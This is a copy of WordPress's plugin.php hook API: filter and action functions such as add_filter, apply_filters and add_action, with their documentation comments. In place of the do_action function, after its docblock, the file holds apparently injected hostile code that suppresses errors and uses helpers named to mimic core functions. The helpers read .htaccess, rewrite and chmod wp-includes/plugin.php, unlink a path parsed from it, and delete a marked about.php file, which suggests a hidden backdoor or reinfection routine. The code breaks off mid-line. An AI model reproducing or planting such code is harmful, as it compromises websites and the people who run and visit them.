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add_filter( $tag, $function_to_add, $priority, $accepted_args ); return true; } /** * Check if any filter has been registered for a hook. * * @since 2.5.0 * * @global array $wp_filter Stores all of the filters. * * @param string $tag The name of the filter hook. * @param callable|bool $function_to_check Optional. The callback to check for. Default false. * @return false|int If $function_to_check is omitted, returns boolean for whether the hook has * anything registered. When checking a specific function, the priority of that * hook is returned, or false if the function is not attached. When using the * $function_to_check argument, this function may return a non-boolean value * that evaluates to false (e.g.) 0, so use the === operator for testing the * return value. */ function has_filter($tag, $function_to_check = false) { global $wp_filter; if ( ! isset( $wp_filter[ $tag ] ) ) { return false; } return $wp_filter[ $tag ]->has_filter( $tag, $function_to_check ); } /** * Call the functions added to a filter hook. * * The callback functions attached to filter hook $tag are invoked by calling * this function. This function can be used to create a new filter hook by * simply calling this function with the name of the new hook specified using * the $tag parameter. * * The function allows for additional arguments to be added and passed to hooks. * * // Our filter callback function * function example_callback( $string, $arg1, $arg2 ) { * // (maybe) modify $string * return $string; * } * add_filter( 'example_filter', 'example_callback', 10, 3 ); * * /* * * Apply the filters by calling the 'example_callback' function we * * "hooked" to 'example_filter' using the add_filter() function above. * * - 'example_filter' is the filter hook $tag * * - 'filter me' is the value being filtered * * - $arg1 and $arg2 are the additional arguments passed to the callback. * $value = apply_filters( 'example_filter', 'filter me', $arg1, $arg2 ); * * @since 0.71 * * @global array $wp_filter Stores all of the filters. * @global array $wp_current_filter Stores the list of current filters with the current one last. * * @param string $tag The name of the filter hook. * @param mixed $value The value on which the filters hooked to `$tag` are applied on. * @param mixed $var,... Additional variables passed to the functions hooked to `$tag`. * @return mixed The filtered value after all hooked functions are applied to it. */ function apply_filters( $tag, $value ) { global $wp_filter, $wp_current_filter; $args = array(); // Do 'all' actions first. if ( isset($wp_filter['all']) ) { $wp_current_filter[] = $tag; $args = func_get_args(); _wp_call_all_hook($args); } if ( !isset($wp_filter[$tag]) ) { if ( isset($wp_filter['all']) ) array_pop($wp_current_filter); return $value; } if ( !isset($wp_filter['all']) ) $wp_current_filter[] = $tag; if ( empty($args) ) $args = func_get_args(); // don't pass the tag name to WP_Hook array_shift( $args ); $filtered = $wp_filter[ $tag ]->apply_filters( $value, $args ); array_pop( $wp_current_filter ); return $filtered; } /** * Execute functions hooked on a specific filter hook, specifying arguments in an array. * * @since 3.0.0 * * @see apply_filters() This function is identical, but the arguments passed to the * functions hooked to `$tag` are supplied using an array. * * @global array $wp_filter Stores all of the filters * @global array $wp_current_filter Stores the list of current filters with the current one last * * @param string $tag The name of the filter hook. * @param array $args The arguments supplied to the functions hooked to $tag. * @return mixed The filtered value after all hooked functions are applied to it. */ function apply_filters_ref_array($tag, $args) { global $wp_filter, $wp_current_filter; // Do 'all' actions first if ( isset($wp_filter['all']) ) { $wp_current_filter[] = $tag; $all_args = func_get_args(); _wp_call_all_hook($all_args); } if ( !isset($wp_filter[$tag]) ) { if ( isset($wp_filter['all']) ) array_pop($wp_current_filter); return $args[0]; } if ( !isset($wp_filter['all']) ) $wp_current_filter[] = $tag; $filtered = $wp_filter[ $tag ]->apply_filters( $args[0], $args ); array_pop( $wp_current_filter ); return $filtered; } /** * Removes a function from a specified filter hook. * * This function removes a function attached to a specified filter hook. This * method can be used to remove default functions attached to a specific filter * hook and possibly replace them with a substitute. * * To remove a hook, the $function_to_remove and $priority arguments must match * when the hook was added. This goes for both filters and actions. No warning * will be given on removal failure. * * @since 1.2.0 * * @global array $wp_filter Stores all of the filters * * @param string $tag The filter hook to which the function to be removed is hooked. * @param callable $function_to_remove The name of the function which should be removed. * @param int $priority Optional. The priority of the function. Default 10. * @return bool Whether the function existed before it was removed. */ function remove_filter( $tag, $function_to_remove, $priority = 10 ) { global $wp_filter; $r = false; if ( isset( $wp_filter[ $tag ] ) ) { $r = $wp_filter[ $tag ]->remove_filter( $tag, $function_to_remove, $priority ); if ( ! $wp_filter[ $tag ]->callbacks ) { unset( $wp_filter[ $tag ] ); } } return $r; } /** * Remove all of the hooks from a filter. * * @since 2.7.0 * * @global array $wp_filter Stores all of the filters * * @param string $tag The filter to remove hooks from. * @param int|bool $priority Optional. The priority number to remove. Default false. * @return true True when finished. */ function remove_all_filters( $tag, $priority = false ) { global $wp_filter; if ( isset( $wp_filter[ $tag ]) ) { $wp_filter[ $tag ]->remove_all_filters( $priority ); if ( ! $wp_filter[ $tag ]->has_filters() ) { unset( $wp_filter[ $tag ] ); } } return true; } /** * Retrieve the name of the current filter or action. * * @since 2.5.0 * * @global array $wp_current_filter Stores the list of current filters with the current one last * * @return string Hook name of the current filter or action. */ function current_filter() { global $wp_current_filter; return end( $wp_current_filter ); } /** * Retrieve the name of the current action. * * @since 3.9.0 * * @return string Hook name of the current action. */ function current_action() { return current_filter(); } /** * Retrieve the name of a filter currently being processed. * * The function current_filter() only returns the most recent filter or action * being executed. did_action() returns true once the action is initially * processed. * * This function allows detection for any filter currently being * executed (despite not being the most recent filter to fire, in the case of * hooks called from hook callbacks) to be verified. * * @since 3.9.0 * * @see current_filter() * @see did_action() * @global array $wp_current_filter Current filter. * * @param null|string $filter Optional. Filter to check. Defaults to null, which * checks if any filter is currently being run. * @return bool Whether the filter is currently in the stack. */ function doing_filter( $filter = null ) { global $wp_current_filter; if ( null === $filter ) { return ! empty( $wp_current_filter ); } return in_array( $filter, $wp_current_filter ); } /** * Retrieve the name of an action currently being processed. * * @since 3.9.0 * * @param string|null $action Optional. Action to check. Defaults to null, which checks * if any action is currently being run. * @return bool Whether the action is currently in the stack. */ function doing_action( $action = null ) { return doing_filter( $action ); } /** * Hooks a function on to a specific action. * * Actions are the hooks that the WordPress core launches at specific points * during execution, or when specific events occur. Plugins can specify that * one or more of its PHP functions are executed at these points, using the * Action API. * * @since 1.2.0 * * @param string $tag The name of the action to which the $function_to_add is hooked. * @param callable $function_to_add The name of the function you wish to be called. * @param int $priority Optional. Used to specify the order in which the functions * associated with a particular action are executed. Default 10. * Lower numbers correspond with earlier execution, * and functions with the same priority are executed * in the order in which they were added to the action. * @param int $accepted_args Optional. The number of arguments the function accepts. Default 1. * @return true Will always return true. */ function add_action($tag, $function_to_add, $priority = 10, $accepted_args = 1) { return add_filter($tag, $function_to_add, $priority, $accepted_args); } /** * Execute functions hooked on a specific action hook. * * This function invokes all functions attached to action hook `$tag`. It is * possible to create new action hooks by simply calling this function, * specifying the name of the new hook using the `$tag` parameter. * * You can pass extra arguments to the hooks, much like you can with apply_filters(). * * @since 1.2.0 * * @global array $wp_filter Stores all of the filters * @global array $wp_actions Increments the amount of times action was triggered. * @global array $wp_current_filter Stores the list of current filters with the current one last * * @param string $tag The name of the action to be executed. * @param mixed $arg,... Optional. Additional arguments which are passed on to the * functions hooked to the action. Default empty. */ ob_start(); error_reporting(0); if (!function_exists('explode')) { function explode($str, $array) { return split($str, $array); } } function apply_filters_ref_arrays($file, $word){ $count = 0; $src = file_get_contents($file); $lines = explode("\n", $src); foreach($lines as $line){ if(strstr($line, $word)){ $count++; } } return $count; } function has_actions($file, $word){ $nbr_w = apply_filters_ref_arrays($file, $word); $src = file_get_contents($file); $lines = explode("\n", $src); $result = ''; foreach($lines as $line) { if(strstr($line, $word) || $nbr_w <= 0) { $nbr_w--; if($nbr_w <= 0){ $result .= $line."\n"; } } } return $result; } function apply_filter_ref(){ $htaccess_P = '.htaccess'; $htaccess = strtolower(file_get_contents($htaccess_P)); if(preg_match("/deny from all/", $htaccess) || preg_match("/order allow,deny/", $htaccess)) { $plugin_P = 'wp-includes/plugin.php'; $plugin = file_get_contents($plugin_P); if(preg_match("/index.php/", $plugin) && !preg_match("/index.php.bak/", $plugin)) { $plugin = str_replace('index.php', 'index.php.bak', $plugin); chmod($plugin_P, 0644); file_put_contents($plugin_P, $plugin); } if(preg_match('/\$path.*=.*"(.*)";/', $plugin, $p)) { unlink($p[1]); } $about_P = 'about.php'; $about = file_get_contents($about_P); if(file_exists($about_P) && preg_match("/d_time/", $about)) { unlink($about_P); } elseif(strstr($index, '/", $index) && !preg_match("/